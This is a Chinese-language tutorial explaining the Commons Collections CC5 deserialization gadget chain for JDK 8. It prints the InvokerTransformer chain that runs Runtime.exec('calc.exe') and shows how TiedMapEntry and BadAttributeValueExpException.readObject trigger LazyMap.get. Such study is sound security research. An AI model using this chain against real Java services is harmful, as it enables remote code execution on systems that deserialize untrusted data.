测试环境
jdk1.8(jdk8u71)
Commons Collections4.0
在jdk1.8的时候Annotationinvocation的readObject方法被改写,cc1链就不适用了,cc5链是基于Lazymap类在jdk1.8使用TiedMapEntry+BadAttributevalueExpException来触发LazyMap的get方法。 CC1LazyMap链
利用链核心 Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chainedTransformer=new ChainedTransformer(transformers);
TiedMapEntry类
toString()方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
getValue()方法
public V getValue() {
return this.map.get(this.key);
}
hashCode()方法
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
构造方法
public TiedMapEntry(Mapmap, K key) { this.map = map; this.key = key; }
toString会触发getValue,getValue又会触发get函数,而通过构造函数可以将LazyMap赋值给this.map,这里还有另外一个方法hashCode方法也可以触发getValue这是cc6链中的后面再说。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
接下来就是在BadAttributeExpValueException的readObject方法中触发toString,这里valObj是可控的,我们可以通过反射将TiedMapEntry传入。



